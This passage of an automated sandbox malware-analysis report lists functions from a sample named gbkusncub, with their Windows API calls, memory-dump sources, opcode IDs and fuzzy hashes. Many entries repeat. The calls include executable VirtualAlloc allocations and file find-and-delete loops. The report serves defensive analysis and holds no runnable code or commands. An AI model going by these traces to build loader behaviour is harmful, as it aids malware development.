                                                                                                                                                        • Instruction Fuzzy Hash: 4AD052223420206AB6A9213D2D1FC7F896CCBC2AA0F04003EFA02CA1AAE8484C0201E0
                                                                                                                                                        Function 0072F13C Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,?,0071B0DE,?,?,00000000,?,00716B73,?), ref: 0072F156
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FilePointer
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 973152223-0
                                                                                                                                                        • Opcode ID: c845cdcd82450b4d6da06123fc295a8b520228b6e62c31fdc2190e98d91c2b8d
                                                                                                                                                        • Instruction ID: 0f2133fdc96b996270661333aafe40a83b3c27a8276998ba3832bf5f20eab687
                                                                                                                                                        • Opcode Fuzzy Hash: c845cdcd82450b4d6da06123fc295a8b520228b6e62c31fdc2190e98d91c2b8d
                                                                                                                                                        • Instruction Fuzzy Hash: 40E092B5510704AFD728DF55D846D97BBF8EB08310B00455EA85693740E7B1BD448B50
                                                                                                                                                        Function 007139DE Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 007139FD
                                                                                                                                                          • Part of subcall function 007184B7: _wcslen.LIBCMT ref: 007184CA
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: LongNamePath_wcslen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 541455249-0
                                                                                                                                                        • Opcode ID: 162b7436f916ab60d321fba9df00c72434af6cce2940d734f37a4c5a65ee4369
                                                                                                                                                        • Instruction ID: dac5b4db9d255c9136b40de85d31ab2bb771af30328d358ee4d263bf39deb3f4
                                                                                                                                                        • Opcode Fuzzy Hash: 162b7436f916ab60d321fba9df00c72434af6cce2940d734f37a4c5a65ee4369
                                                                                                                                                        • Instruction Fuzzy Hash: 9CE0CD7650012457C720D6989C0AFDA77DDEFC9790F054071FC05D7248DDA8DD81C591
                                                                                                                                                        Function 0077E783 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetShortPathNameW.KERNELBASE(?,?,00007FFF), ref: 0077E7A2
                                                                                                                                                          • Part of subcall function 007184B7: _wcslen.LIBCMT ref: 007184CA
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: NamePathShort_wcslen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2021730007-0
                                                                                                                                                        • Opcode ID: bd4e7d64d0c2377e7726fbce98aaf0ebe9cd02bf773c31ce3efd04a613705e4e
                                                                                                                                                        • Instruction ID: 7c5e86c6f861095de9767cde204df8ccf97e9aef5a4d201439b83a758f663d35
                                                                                                                                                        • Opcode Fuzzy Hash: bd4e7d64d0c2377e7726fbce98aaf0ebe9cd02bf773c31ce3efd04a613705e4e
                                                                                                                                                        • Instruction Fuzzy Hash: B0E0CD7654022457C720D6989C0AFDA77DDEFC9790F054070FC05D7248DDA8DD81C591
                                                                                                                                                        Function 0077E753 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 0077E76C
                                                                                                                                                          • Part of subcall function 007184B7: _wcslen.LIBCMT ref: 007184CA
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FolderPath_wcslen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2987691875-0
                                                                                                                                                        • Opcode ID: 4aa00ffbf2eeeb61c19823cf2f17782455d6d431a386aefd001a75948d87400f
                                                                                                                                                        • Instruction ID: 0257d3adb42a4869d010897db428f67347a4ced7d475e5bac9add5752378bae5
                                                                                                                                                        • Opcode Fuzzy Hash: 4aa00ffbf2eeeb61c19823cf2f17782455d6d431a386aefd001a75948d87400f
                                                                                                                                                        • Instruction Fuzzy Hash: F0D05EA19002686BDF60E6B49C0DDF73AACC784210F0046A07C6DD3282ED38EE8486A0
                                                                                                                                                        Function 0077DA5C Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CopyFileExW.KERNELBASE(?,?,00000000,00000000,00000000,00000008,?,?,0077D9DC,?,?), ref: 0077DA72
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CopyFile
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1304948518-0
                                                                                                                                                        • Opcode ID: ee773d5e885a48c492e67a14ed2e2f484353d33bad7f927c8cb220326e47ac5c
                                                                                                                                                        • Instruction ID: 1c7205a5d1c4fc92389a0a3a92dc3b344e729bbb0fe20449e1f356fb017352ff
                                                                                                                                                        • Opcode Fuzzy Hash: ee773d5e885a48c492e67a14ed2e2f484353d33bad7f927c8cb220326e47ac5c
                                                                                                                                                        • Instruction Fuzzy Hash: 8CD0A7305D0208BBEF108B50CC03F99B76CE701B45F104194B101EA0D0C7B5A9089724
                                                                                                                                                        Function 0075073A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CreateFileW.KERNELBASE(00000000,00000000,?,00750AA4,?,?,00000000,?,00750AA4,00000000,0000000C), ref: 00750757
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CreateFile
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 823142352-0
                                                                                                                                                        • Opcode ID: 0a0a57cb8885c02401e75a0c47a2ee2005fe224d5c9ac0e98a7236eafe8b30ca
                                                                                                                                                        • Instruction ID: 5c43e6a2805ae20d67b0facba5a847283b95ba580e09101a394a70e33a20ab1f
                                                                                                                                                        • Opcode Fuzzy Hash: 0a0a57cb8885c02401e75a0c47a2ee2005fe224d5c9ac0e98a7236eafe8b30ca
                                                                                                                                                        • Instruction Fuzzy Hash: 7ED06C3210010DBBDF128F84DD06EDA3BAAFB88714F018000BE5856020C736E821AB94
                                                                                                                                                        Function 0077E9C5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetFileAttributesW.KERNELBASE(?,0077D755), ref: 0077E9C6
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AttributesFile
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3188754299-0
                                                                                                                                                        • Opcode ID: e3a927b5f850f7d024b0733d90c1421d48de4cc4a7a61c76803b0ccc0c7e8604
                                                                                                                                                        • Instruction ID: 4aec65b51e88c71dca907fb8ed4c770e27e6bdc59e779ece9d43476d932740ea
                                                                                                                                                        • Opcode Fuzzy Hash: e3a927b5f850f7d024b0733d90c1421d48de4cc4a7a61c76803b0ccc0c7e8604
                                                                                                                                                        • Instruction Fuzzy Hash: 18B0922500061005BD784A381A0C1A9730068873E6BD89BD5E5BE995E2C33DAC2BEA12
                                                                                                                                                        Function 00786561 Relevance: 1.3, APIs: 1, Instructions: 31COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 0077DB69: FindFirstFileW.KERNELBASE(?,?), ref: 0077DBE0
                                                                                                                                                          • Part of subcall function 0077DB69: DeleteFileW.KERNELBASE(?,?,?,?), ref: 0077DC30
                                                                                                                                                          • Part of subcall function 0077DB69: FindNextFileW.KERNEL32(00000000,00000010), ref: 0077DC41
                                                                                                                                                          • Part of subcall function 0077DB69: FindClose.KERNEL32(00000000), ref: 0077DC58
                                                                                                                                                        • GetLastError.KERNEL32 ref: 00786583
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FileFind$CloseDeleteErrorFirstLastNext
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2191629493-0
                                                                                                                                                        • Opcode ID: 188444851ab70932dfed5f09a2fedb11613b952652b4d3f09acff2284ba0eb08
                                                                                                                                                        • Instruction ID: 1fb4a36962807dc545b60ba84d1ffb8292d40a2dc33ac90accae8607da86950e
                                                                                                                                                        • Opcode Fuzzy Hash: 188444851ab70932dfed5f09a2fedb11613b952652b4d3f09acff2284ba0eb08
                                                                                                                                                        • Instruction Fuzzy Hash: 21F08231200100DFCB14EF59D858BAAB7E5AF44360F048049F90A87391CB78FD418B95
                                                                                                                                                        Function 00717953 Relevance: 1.3, APIs: 1, Instructions: 19COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CloseHandle.KERNELBASE(?,?,00000000,00753A1C), ref: 00717973
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CloseHandle
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2962429428-0
                                                                                                                                                        • Opcode ID: dd3715742b0745d15568e903237b2070b2afdb3fd2b7e0751f233432395a1ce7
                                                                                                                                                        • Instruction ID: 8498ea0d9c33b2ae29521d2d3a2a6ddba405512ae2671c2fe7948106369eb36e
                                                                                                                                                        • Opcode Fuzzy Hash: dd3715742b0745d15568e903237b2070b2afdb3fd2b7e0751f233432395a1ce7
                                                                                                                                                        • Instruction Fuzzy Hash: F7E09275804B12DFC7354F1AE804452FBF4FED23613218A2FD0E6826A0D3B4688ACB50
                                                                                                                                                        Function 013C4BF0 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040,?,91AFCA54,00000000,013C4853,0000003C,0000003E,00000042), ref: 013C4C0F
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 01391000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocVirtual
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 4275171209-0
                                                                                                                                                        • Opcode ID: 0d6777d9fef210b3e9981fb9a5516806ae548ef2960d50160ec2a07110b2ab2b
                                                                                                                                                        • Instruction ID: 7131296752c5c699a8fc29488786f5ce0124595ab74dbe305e20675bca478be2
                                                                                                                                                        • Opcode Fuzzy Hash: 0d6777d9fef210b3e9981fb9a5516806ae548ef2960d50160ec2a07110b2ab2b
                                                                                                                                                        • Instruction Fuzzy Hash: 47D0A97818830276E6117BA68C02F082590AB90F0AF400808B384280F0C5AAA8084356
                                                                                                                                                        Function 013C4BF0 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040,?,91AFCA54,00000000,013C4853,0000003C,0000003E,00000042), ref: 013C4C0F
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 013C3000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocVirtual
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 4275171209-0
                                                                                                                                                        • Opcode ID: 0d6777d9fef210b3e9981fb9a5516806ae548ef2960d50160ec2a07110b2ab2b
                                                                                                                                                        • Instruction ID: 7131296752c5c699a8fc29488786f5ce0124595ab74dbe305e20675bca478be2
                                                                                                                                                        • Opcode Fuzzy Hash: 0d6777d9fef210b3e9981fb9a5516806ae548ef2960d50160ec2a07110b2ab2b
                                                                                                                                                        • Instruction Fuzzy Hash: 47D0A97818830276E6117BA68C02F082590AB90F0AF400808B384280F0C5AAA8084356
                                                                                                                                                        Function 013C4BF0 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040,?,91AFCA54,00000000,013C4853,0000003C,0000003E,00000042), ref: 013C4C0F
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 013BF000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocVirtual
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 4275171209-0
                                                                                                                                                        • Opcode ID: 0d6777d9fef210b3e9981fb9a5516806ae548ef2960d50160ec2a07110b2ab2b
                                                                                                                                                        • Instruction ID: 7131296752c5c699a8fc29488786f5ce0124595ab74dbe305e20675bca478be2
                                                                                                                                                        • Opcode Fuzzy Hash: 0d6777d9fef210b3e9981fb9a5516806ae548ef2960d50160ec2a07110b2ab2b
                                                                                                                                                        • Instruction Fuzzy Hash: 47D0A97818830276E6117BA68C02F082590AB90F0AF400808B384280F0C5AAA8084356
                                                                                                                                                        Function 013C4BF0 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040,?,91AFCA54,00000000,013C4853,0000003C,0000003E,00000042), ref: 013C4C0F
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 013C2000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocVirtual
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 4275171209-0
                                                                                                                                                        • Opcode ID: 0d6777d9fef210b3e9981fb9a5516806ae548ef2960d50160ec2a07110b2ab2b
                                                                                                                                                        • Instruction ID: 7131296752c5c699a8fc29488786f5ce0124595ab74dbe305e20675bca478be2
                                                                                                                                                        • Opcode Fuzzy Hash: 0d6777d9fef210b3e9981fb9a5516806ae548ef2960d50160ec2a07110b2ab2b
                                                                                                                                                        • Instruction Fuzzy Hash: 47D0A97818830276E6117BA68C02F082590AB90F0AF400808B384280F0C5AAA8084356
                                                                                                                                                        Function 013C4BFA Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040,?,91AFCA54,00000000,013C4853,0000003C,0000003E,00000042), ref: 013C4C0F
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 01391000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocVirtual
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 4275171209-0
                                                                                                                                                        • Opcode ID: 086bc199fb5c3adba40bed044a848f3a860d30c03df736635f100b9b455d2306
                                                                                                                                                        • Instruction ID: ed9c49cf31fe0997df1d330498275fc6cee027c3ae54f3c943d6c18ee1b67dbd
                                                                                                                                                        • Opcode Fuzzy Hash: 086bc199fb5c3adba40bed044a848f3a860d30c03df736635f100b9b455d2306
                                                                                                                                                        • Instruction Fuzzy Hash: 20C022301843027AE7122BA08C03B1C75A0DB80B41F40080CB340680F0C1FAA8054706
                                                                                                                                                        Function 013C4BFA Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040,?,91AFCA54,00000000,013C4853,0000003C,0000003E,00000042), ref: 013C4C0F
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 013C3000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocVirtual
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 4275171209-0
                                                                                                                                                        • Opcode ID: 086bc199fb5c3adba40bed044a848f3a860d30c03df736635f100b9b455d2306
                                                                                                                                                        • Instruction ID: ed9c49cf31fe0997df1d330498275fc6cee027c3ae54f3c943d6c18ee1b67dbd
                                                                                                                                                        • Opcode Fuzzy Hash: 086bc199fb5c3adba40bed044a848f3a860d30c03df736635f100b9b455d2306
                                                                                                                                                        • Instruction Fuzzy Hash: 20C022301843027AE7122BA08C03B1C75A0DB80B41F40080CB340680F0C1FAA8054706
                                                                                                                                                        Function 013C4BFA Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040,?,91AFCA54,00000000,013C4853,0000003C,0000003E,00000042), ref: 013C4C0F
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 013BF000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocVirtual
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 4275171209-0
                                                                                                                                                        • Opcode ID: 086bc199fb5c3adba40bed044a848f3a860d30c03df736635f100b9b455d2306
                                                                                                                                                        • Instruction ID: ed9c49cf31fe0997df1d330498275fc6cee027c3ae54f3c943d6c18ee1b67dbd
                                                                                                                                                        • Opcode Fuzzy Hash: 086bc199fb5c3adba40bed044a848f3a860d30c03df736635f100b9b455d2306
                                                                                                                                                        • Instruction Fuzzy Hash: 20C022301843027AE7122BA08C03B1C75A0DB80B41F40080CB340680F0C1FAA8054706
                                                                                                                                                        Function 013C4BFA Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040,?,91AFCA54,00000000,013C4853,0000003C,0000003E,00000042), ref: 013C4C0F
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 013C2000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocVirtual
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 4275171209-0
                                                                                                                                                        • Opcode ID: 086bc199fb5c3adba40bed044a848f3a860d30c03df736635f100b9b455d2306
                                                                                                                                                        • Instruction ID: ed9c49cf31fe0997df1d330498275fc6cee027c3ae54f3c943d6c18ee1b67dbd
                                                                                                                                                        • Opcode Fuzzy Hash: 086bc199fb5c3adba40bed044a848f3a860d30c03df736635f100b9b455d2306
                                                                                                                                                        • Instruction Fuzzy Hash: 20C022301843027AE7122BA08C03B1C75A0DB80B41F40080CB340680F0C1FAA8054706

                                                                                                                                                        Non-executed Functions

                                                                                                                                                        Function 0078A0FA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 0078A11B
                                                                                                                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 0078A176
                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 0078A181
                                                                                                                                                        • FindFirstFileW.KERNEL32(*.*,?), ref: 0078A19D
                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(?), ref: 0078A1ED
                                                                                                                                                        • SetCurrentDirectoryW.KERNEL32(007D7B94), ref: 0078A20B
                                                                                                                                                        • FindNextFileW.KERNEL32(00000000,00000010), ref: 0078A215
